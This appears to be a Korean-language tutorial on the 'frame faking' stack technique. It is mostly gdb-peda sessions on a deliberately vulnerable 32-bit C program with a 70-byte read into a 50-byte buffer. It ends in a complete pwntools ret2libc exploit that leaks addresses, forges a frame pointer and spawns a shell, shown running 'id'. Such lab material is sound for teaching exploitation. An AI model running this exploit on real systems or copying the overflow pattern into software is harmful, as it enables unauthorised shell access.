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//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>
void vuln(int a,int b,int c,int d){
printf("%d, %d, %d, %d",a,b,c,d);
}
void main(int argc, char* argv[]){
vuln(1,2,3,4);
} |
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./test Reading symbols from ./test...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x08048430 <+0>: lea ecx,[esp+0x4] 0x08048434 <+4>: and esp,0xfffffff0 0x08048437 <+7>: push DWORD PTR [ecx-0x4] 0x0804843a <+10>: push ebp 0x0804843b <+11>: mov ebp,esp 0x0804843d <+13>: push ecx 0x0804843e <+14>: sub esp,0x4 0x08048441 <+17>: push 0x4 0x08048443 <+19>: push 0x3 0x08048445 <+21>: push 0x2 0x08048447 <+23>: push 0x1 0x08048449 <+25>: call 0x804840b <vuln> 0x0804844e <+30>: add esp,0x10 0x08048451 <+33>: nop 0x08048452 <+34>: mov ecx,DWORD PTR [ebp-0x4] 0x08048455 <+37>: leave 0x08048456 <+38>: lea esp,[ecx-0x4] 0x08048459 <+41>: ret End of assembler dump. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804840b <+0>: push ebp 0x0804840c <+1>: mov ebp,esp 0x0804840e <+3>: sub esp,0x8 0x08048411 <+6>: sub esp,0xc 0x08048414 <+9>: push DWORD PTR [ebp+0x14] 0x08048417 <+12>: push DWORD PTR [ebp+0x10] 0x0804841a <+15>: push DWORD PTR [ebp+0xc] 0x0804841d <+18>: push DWORD PTR [ebp+0x8] 0x08048420 <+21>: push 0x80484e0 0x08048425 <+26>: call 0x80482e0 <printf@plt> 0x0804842a <+31>: add esp,0x20 0x0804842d <+34>: nop 0x0804842e <+35>: leave 0x0804842f <+36>: ret End of assembler dump. gdb-peda$ b *0x0804843d Breakpoint 1 at 0x804843d gdb-peda$ b *0x0804840e Breakpoint 2 at 0x804840e gdb-peda$ b *0x0804842e Breakpoint 3 at 0x804842e |
다음과 같이 main() 함수에서 사용할 Frame Pointer의 내용을 확인 할 수 있습니다.
0xffffd588 영역에는 값이 저장되어 있지 않습니다.(0x00000000)
0xffffd58c 영역에는 Return address(0xf7e1d637)가 저장되어 있습니다.
해당 Return address는 main() 함수가 종료된 후 이동할 주소입니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/FrameFaking/test Breakpoint 1, 0x0804843d in main () gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/4wx 0xffffd588 0xffffd588: 0x00000000 0xf7e1d637 0xf7fb5000 0xf7fb5000 gdb-peda$ x/i 0xf7e1d637 0xf7e1d637 <__libc_start_main+247>: add esp,0x10 gdb-peda$ |
0xffffd568 영역에는 main함수에서 사용하던 Frame Pointer의 주소 값(0xffffd588)이 저장되어 있습니다.
0xffffd56c 영역에는 Return address(0x0804844e)가 저장되어 있습니다.
해당 Return address는 vuln() 함수가 종료된 후 이동할 주소입니다.
gdb-peda$ c Continuing. Breakpoint 2, 0x0804840e in vuln () gdb-peda$ i r ebp ebp 0xffffd568 0xffffd568 gdb-peda$ x/8wx 0xffffd568 0xffffd568: 0xffffd588 0x0804844e 0x00000001 0x00000002 0xffffd578: 0x00000003 0x00000004 0xf7fb53dc 0xffffd5a0 gdb-peda$ |
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gdb-peda$ c Continuing. Breakpoint 3, 0x0804842e in vuln () gdb-peda$ i r esp esp 0xffffd560 0xffffd560 gdb-peda$ i r ebp ebp 0xffffd568 0xffffd568 gdb-peda$ x/2wx 0xffffd560 0xffffd560: 0x00000001 0x00000000 gdb-peda$ x/2wx 0xffffd568 0xffffd568: 0xffffd588 0x0804844e gdb-peda$ ni 0x0804842f in vuln () gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ i r esp esp 0xffffd56c 0xffffd56c gdb-peda$ |
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0x0804842f in vuln () gdb-peda$ i r eip eip 0x804842f 0x804842f <vuln+36> gdb-peda$ i r esp esp 0xffffd56c 0xffffd56c gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/2wx 0xffffd56c 0xffffd56c: 0x0804844e 0x00000001 gdb-peda$ ni 0x0804844e in main () gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ i r ebp ebp 0xffffd588 0xffffd588 gdb-peda$ x/2wx 0xffffd570 0xffffd570: 0x00000001 0x00000002 gdb-peda$ |
//gcc -m32 -fno-stack-protector -o ff ff.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
printf("buf[50] address : %p\n",buf);
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 70);
}
void main(){
vuln();
} |
다음과 같이 Breakpoint 설정 및 Stack overflow를 진행 합니다.
0x08048571: vuln() 함수의 leave 명령어
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ gdb -q ./ff Reading symbols from ./ff...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804851b <+0>: push ebp 0x0804851c <+1>: mov ebp,esp 0x0804851e <+3>: sub esp,0x48 0x08048521 <+6>: sub esp,0x8 0x08048524 <+9>: lea eax,[ebp-0x3e] 0x08048527 <+12>: push eax 0x08048528 <+13>: push 0x8048620 0x0804852d <+18>: call 0x80483e0 <printf@plt> 0x08048532 <+23>: add esp,0x10 0x08048535 <+26>: sub esp,0x8 0x08048538 <+29>: push 0x8048636 0x0804853d <+34>: push 0xffffffff 0x0804853f <+36>: call 0x8048400 <dlsym@plt> 0x08048544 <+41>: add esp,0x10 0x08048547 <+44>: mov DWORD PTR [ebp-0xc],eax 0x0804854a <+47>: sub esp,0x8 0x0804854d <+50>: push DWORD PTR [ebp-0xc] 0x08048550 <+53>: push 0x804863d 0x08048555 <+58>: call 0x80483e0 <printf@plt> 0x0804855a <+63>: add esp,0x10 0x0804855d <+66>: sub esp,0x4 0x08048560 <+69>: push 0x46 0x08048562 <+71>: lea eax,[ebp-0x3e] 0x08048565 <+74>: push eax 0x08048566 <+75>: push 0x0 0x08048568 <+77>: call 0x80483d0 <read@plt> 0x0804856d <+82>: add esp,0x10 0x08048570 <+85>: nop 0x08048571 <+86>: leave 0x08048572 <+87>: ret End of assembler dump. gdb-peda$ b *0x08048571 Breakpoint 1 at 0x8048571 gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/FrameFaking/ff buf[50] address : 0xffffd57a Printf() address : 0xf7e4d020 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRR |
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Breakpoint 1, 0x08048571 in vuln () gdb-peda$ gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ i r ebp ebp 0xffffd5b8 0xffffd5b8 gdb-peda$ x/2wx 0xffffd570 0xffffd570: 0x00000000 0xffffd614 gdb-peda$ x/2wx 0xffffd5b8 0xffffd5b8: 0x51515050 0x52525151 gdb-peda$ ni 0x08048572 in vuln () gdb-peda$ i r esp esp 0xffffd5bc 0xffffd5bc gdb-peda$ i r ebp ebp 0x51515050 0x51515050 gdb-peda$ x/2wx 0xffffd5bc 0xffffd5bc: 0x52525151 0xf7fb43dc gdb-peda$ |
gdb-peda$ set *0xffffd5bc = 0x8048571 gdb-peda$ x/wx 0xffffd5bc 0xffffd5bc: 0x08048571 gdb-peda$ |
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gdb-peda$ ni Breakpoint 1, 0x08048571 in vuln () gdb-peda$ i r esp esp 0xffffd5c0 0xffffd5c0 gdb-peda$ i r ebp ebp 0x51515050 0x51515050 gdb-peda$ x/2wx 0xffffd5c0 0xffffd5c0: 0xf7fb43dc 0xffffd5e0 gdb-peda$ x/2wx 0x51515050 0x51515050: Cannot access memory at address 0x51515050 gdb-peda$ ni Program received signal SIGSEGV, Segmentation fault. |
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from pwn import *
p = process('./ff')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)
leave = 0x08048571
libcBase = libc - 0x49020
sysAddr = libcBase + 0x3a940
exit = libcBase + 0x2e7b0
binsh = libcBase + 0x15902b
print "stackAddr : " + hex(stackAddr)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
exploit = p32(0x90909090)
exploit += p32(sysAddr)
exploit += p32(exit)
exploit += p32(binsh)
exploit += '\x90' * (62 - len(exploit))
exploit += p32(stackAddr)
exploit += p32(leave)
p.send(exploit)
p.interactive() |
lazenca0x0@ubuntu:~/Exploit/FrameFaking$ python Exploit.py [+] Starting local process './ff': pid 3294 stackAddr : 0xff7fd0ea libc base : 0xf7d72000 system() : 0xf7dac940 exit() : 0xf7da07b0 binsh : 0xf7ecb02b [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |